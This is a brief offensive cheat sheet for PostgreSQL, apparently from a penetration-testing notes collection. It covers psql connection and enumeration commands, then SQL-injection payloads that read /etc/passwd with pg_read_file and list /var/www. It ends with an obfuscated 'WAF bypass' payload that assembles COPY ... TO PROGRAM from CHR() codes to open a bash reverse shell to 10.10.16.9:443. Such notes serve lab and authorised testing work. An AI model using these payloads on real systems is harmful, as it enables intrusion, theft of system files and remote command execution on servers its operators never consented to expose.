# PostgreSQL Port (5432, 5433)

## How to connect

```sql
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```

***

## Enumeration

**List all databases**

```sql
\l
```

**Switch to a database**

```sql
\c <database_name>
```

**List tables in the current database:**

```sql
\dt
```

**Extract data from a specific table:**

```sql
SELECT * FROM <table_name>;
```

***

## Read File

```sql
''; SELECT pg_read_file('/etc/passwd',0,1000);
```

***

## List Directory

```sql
''; SELECT pg_ls_dir('/var/www/');
```

***

## Reverse Shell WAF Bypass through SQLI

```sql
'';DO $reverse$
DECLARE
    s text;
BEGIN
    s := CHR(67)||CHR(79)||CHR(80)||CHR(89)||
         ' (SELECT '''') TO PROGRAM ' ||
         quote_literal('bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"');
    EXECUTE s;
END $reverse$;
```
